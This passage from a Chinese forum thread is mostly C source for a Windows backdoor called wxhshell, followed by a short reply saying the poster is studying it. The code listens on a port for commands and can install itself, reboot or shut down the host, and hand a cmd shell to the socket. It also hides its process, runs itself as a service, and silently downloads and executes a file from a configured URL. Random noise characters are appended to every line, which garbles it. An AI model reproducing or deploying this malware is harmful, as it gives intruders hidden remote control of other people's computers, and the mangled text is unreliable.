  if(DownloadFile(cmd,wsh)) ],>@";9u"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(6Y*<  
  else KxI&G%z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  '<jyw   
  } 'vVQg  
  else { Z)e/ !~""]  
~d o9;8v  
    switch(cmd[0]) { S{Kiy#ltWc  
  !-z'2B*:^  
  // 帮助 s28`OKC}  
  case '?': { ?274uAO'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gk. ruQW"  
    break; g%ndvdb m  
  } O%Scjm-^X  
  // 安装 'OE&/ C [  
  case 'i': { =qoWCmg"&  
    if(Install()) 8{|8G-Mi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Z|-q"Rf  
    else hP=WFD&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *!4Z#Y  
    break; 0m7Y>0wC6T  
    } QMA%$  
  // 卸载 2n,*Nd`  
  case 'r': { O#n8=B4  
    if(Uninstall()) ) mI05  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2L0VXbb  
    else '@cANGg7[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dl.N.P7}4  
    break; IrR7"`.i  
    } *]. 7dec/  
  // 显示 wxhshell 所在路径 $Ad{Z  
  case 'p': { jG6]A"pr  
    char svExeFile[MAX_PATH]; T!-\@PB !  
    strcpy(svExeFile,"\n\r"); bADnW4N`6;  
      strcat(svExeFile,ExeFile); Eou~P h*t  
        send(wsh,svExeFile,strlen(svExeFile),0); gMv.V{vD  
    break; efSM`!%j  
    } _ftI*ni:<  
  // 重启 ~fBtQGdX  
  case 'b': { (ScxLf=]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n+! AnKq  
    if(Boot(REBOOT)) 5(Cl1Yse=r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B5gj_^  
    else { Qf58ig-vCY  
    closesocket(wsh); ,f kcp]}  
    ExitThread(0); fr,7rS/w{l  
    } "MxnFeLM#  
    break; 7@C<oy_bb  
    } Y}@&h!  
  // 关机 R7]l{2V#^  
  case 'd': { Q0$8j-1I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LO'**}vm  
    if(Boot(SHUTDOWN)) IWBX'|}K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %`k6w3qI  
    else { he#J|p  
    closesocket(wsh); /xG*,YL/q  
    ExitThread(0); !y#"l$"xK  
    } 6f;fx}y  
    break; fTzvmC:g7  
    } '#! gh?  
  // 获取shell .\ K_@M  
  case 's': { Twh!X*uQ  
    CmdShell(wsh); kM!kD4&  
    closesocket(wsh); -T!f,g3vW  
    ExitThread(0); 6~OoFm5  
    break; *v?`<)P#  
  } |HU@ >  
  // 退出 r)qnl9?;`]  
  case 'x': { J2d.f}-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t4{rb, }W  
    CloseIt(wsh); X$%'  
    break; 1m+p;T$  
    } S(QpM.9*  
  // 离开 siXr;/n"  
  case 'q': { bAsYv*t%r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YX%[ipgB  
    closesocket(wsh); U2$d%8G  
    WSACleanup(); YTAmgkF\4  
    exit(1); <m:m &I 8@  
    break; $GYm6x\4  
        } =nz}XH%=  
  } BNz5lrfq  
  } ( W a  
^F>cp ,x  
  // 提示信息 oV)~@0B&0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ oTdfb  
} KuWWUjCE  
  } Yv hA_v  
^<;V]cY`  
  return; Fd#?\r.  
} J~=n`pW  
|}2 3>l7  
// shell模块句柄 qd+h$ "p  
int CmdShell(SOCKET sock) n 9\ C2r  
{ Y;nZ=9Sw  
STARTUPINFO si; r`%+M7  
ZeroMemory(&si,sizeof(si)); cbeLu'DWB.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?MXejEC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `L:CA5sBud  
PROCESS_INFORMATION ProcessInfo; L93l0eEt  
char cmdline[]="cmd"; ~+bv6qxg]\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?/TSi0R  
  return 0; -r#X~2tPzD  
} ;_8#f%Y#R  
`IOs-%s  
// 自身启动模式 5pU2|Bk /  
int StartFromService(void) (E/lIou  
{ ANvRi+ _  
typedef struct |\_^ B  
{ HN_d{ 3  
  DWORD ExitStatus; x2@U.r"zo  
  DWORD PebBaseAddress; dX\.t <  
  DWORD AffinityMask; x??pBhJH  
  DWORD BasePriority; GGe,fb<k  
  ULONG UniqueProcessId; Mb"J@5P[4  
  ULONG InheritedFromUniqueProcessId; 6}75iIKi  
}   PROCESS_BASIC_INFORMATION; <$6QDfa#  
)v]/B+  
PROCNTQSIP NtQueryInformationProcess; c;{Q,"9U  
RE}?5XHb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Z^TXyu   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0~HKiH-  
6UevpDB  
  HANDLE             hProcess; "+\lws  
  PROCESS_BASIC_INFORMATION pbi; h8 'v d3  
7uT:b!^f[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GFfq+=se  
  if(NULL == hInst ) return 0; $jm>:YD  
hOFOO_byzO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I96C i2)m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {*[\'!d--.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I6j$X6u  
3k|oK'l  
  if (!NtQueryInformationProcess) return 0; Vm5c+;  
]BtbWKJBqe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k4,BNJt'Z  
  if(!hProcess) return 0; ? 9! Z<H  
BJgW,huLy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; on0]vEE  
Glxuz0]  
  CloseHandle(hProcess);  DVah  
d}LRl"_n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); so)"4 SEu  
if(hProcess==NULL) return 0; I&MY{f  
u\LiSGePN  
HMODULE hMod; uum;q-"  
char procName[255]; CqHK%M  
unsigned long cbNeeded; lrWV#`6!+  
!Gu%U$d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S;~g3DC d  
?q(\=;Y  
  CloseHandle(hProcess); rEHkw '  
NB\{'  
if(strstr(procName,"services")) return 1; // 以服务启动 CNQC^d\ h  
2H/Z_+\  
  return 0; // 注册表启动 B;R.#^@/  
} "]oO{'1X  
JoRT&rkd  
// 主模块 p/JL9@:'  
int StartWxhshell(LPSTR lpCmdLine) e%4:) IV!;  
{ *+TH#EL2  
  SOCKET wsl; -RO7 'm0  
BOOL val=TRUE; K+Z+wA?  
  int port=0; e{X6i^% m_  
  struct sockaddr_in door; 56e r`=ms  
1z&Ly3  
  if(wscfg.ws_autoins) Install(); $U$V?x uE  
4|mD*o  
port=atoi(lpCmdLine); gXonF'  
GwG4LIp  
if(port<=0) port=wscfg.ws_port; OkCQ?]  
hty0Rb[dH  
  WSADATA data; CT KG9 T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mva3+T  
"Fy7K#n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,*&G1|_6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); txZ?=8j_Y  
  door.sin_family = AF_INET; PqyA1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tneq6>  
  door.sin_port = htons(port); ~7$&WzD  
is1's[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |o2sbLp  
closesocket(wsl); bHht d_}  
return 1; a-"k/P#  
} :Xn7Ha[f  
r'dr9"-{  
  if(listen(wsl,2) == INVALID_SOCKET) { 2RqbrY n  
closesocket(wsl); H;U)b{  
return 1; DUL4noq{  
} #'-Sh7ycW  
  Wxhshell(wsl); 2:BF[c`  
  WSACleanup(); %/c+`Wd/l$  
S#-wl2z  
return 0; @*0cMO;SpG  
j:}J}P  
} `%E8-]{uS  
S@}1t4Ls:  
// 以NT服务方式启动  6\u!E~zy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L4b:F0  
{ Ti2Ls5H}  
DWORD   status = 0; Q~MC7-n>  
  DWORD   specificError = 0xfffffff; $`8Ar,Xz`  
{ekCQeDo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5aBAr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tx 1 vL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >6~k9>nDb<  
  serviceStatus.dwWin32ExitCode     = 0; s-Aw<Q)d  
  serviceStatus.dwServiceSpecificExitCode = 0; \":?xh_H  
  serviceStatus.dwCheckPoint       = 0; ari7iF ~j  
  serviceStatus.dwWaitHint       = 0; 7R3fqU.Rq  
nLwiCf e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t4q ej  
  if (hServiceStatusHandle==0) return; OFGsjYLw  
T1` |~Z?g-  
status = GetLastError(); ( 7ws{)  
  if (status!=NO_ERROR) u>Rb ?`  
{ yJsH=5A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T/c<23i  
    serviceStatus.dwCheckPoint       = 0; [w0/\]o  
    serviceStatus.dwWaitHint       = 0; xrqv@/kJ  
    serviceStatus.dwWin32ExitCode     = status; -UZ@G~K  
    serviceStatus.dwServiceSpecificExitCode = specificError; fQ'.8'>T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TgTnqR@/  
    return; f`8OM}un&  
  } {/ LZcz[  
x lsqj`=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fa&-. *  
  serviceStatus.dwCheckPoint       = 0; ?sBh=Ds  
  serviceStatus.dwWaitHint       = 0; !j1[$% =#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `k; KBW  
} -/ x W  
@ct+7v~  
// 处理NT服务事件,比如:启动、停止 !ph" mf$-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;' nL:\  
{ T"T;`y@(  
switch(fdwControl) [EY`am8[  
{ "o&HE@t  
case SERVICE_CONTROL_STOP: KECElK3uj  
  serviceStatus.dwWin32ExitCode = 0; Nwc!r (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #5&jt@NS  
  serviceStatus.dwCheckPoint   = 0; -h-oMqgu(  
  serviceStatus.dwWaitHint     = 0; >r)X:K+I  
  { ++}\v9Er  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TwvAj#j  
  } 3ta$L"a  
  return; b@t5`Y-+K  
case SERVICE_CONTROL_PAUSE: -fgC" 2H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _Mc>W0'5@  
  break; S'U@X  
case SERVICE_CONTROL_CONTINUE: V8-h%|$p3W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s$DrR  
  break; z[#Fog  
case SERVICE_CONTROL_INTERROGATE: mxFn7.|r~  
  break; DjCx~@  
}; g,]@4|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bm}6{28R  
} 4'Xgk8)  
8BXqZVm.  
// 标准应用程序主函数 4ZC!SgJo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PzZZ>7_6S  
{ PfG`C5 d  
}:z5t,u6  
// 获取操作系统版本 .wK1El{bf  
OsIsNt=GetOsVer(); PT9v*3Bq~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YCy22@C  
Rt(J/%;  
  // 从命令行安装 +VU4s$w6  
  if(strpbrk(lpCmdLine,"iI")) Install();  >0Ev#cX4  
{13!vS%5  
  // 下载执行文件 b!$}ma;B  
if(wscfg.ws_downexe) { ~VTs:h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qbeeq6  
  WinExec(wscfg.ws_filenam,SW_HIDE); zzZg$9PT[  
} uH\kQ9f  
$R^AEa7  
if(!OsIsNt) { kGN||h  
// 如果时win9x,隐藏进程并且设置为注册表启动 4B-yTyO  
HideProc(); DFe;4BdC  
StartWxhshell(lpCmdLine); $v} <'  
} {.k)2{  
else U!e6FHj7  
  if(StartFromService()) beZ(o?uK  
  // 以服务方式启动 oP,9#FC|(  
  StartServiceCtrlDispatcher(DispatchTable); 80ZnM%/}  
else vz`@x45K  
  // 普通方式启动 N dR ]  
  StartWxhshell(lpCmdLine); ; !$m1  
dL;HV8z^  
return 0; |$hgT K[L  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八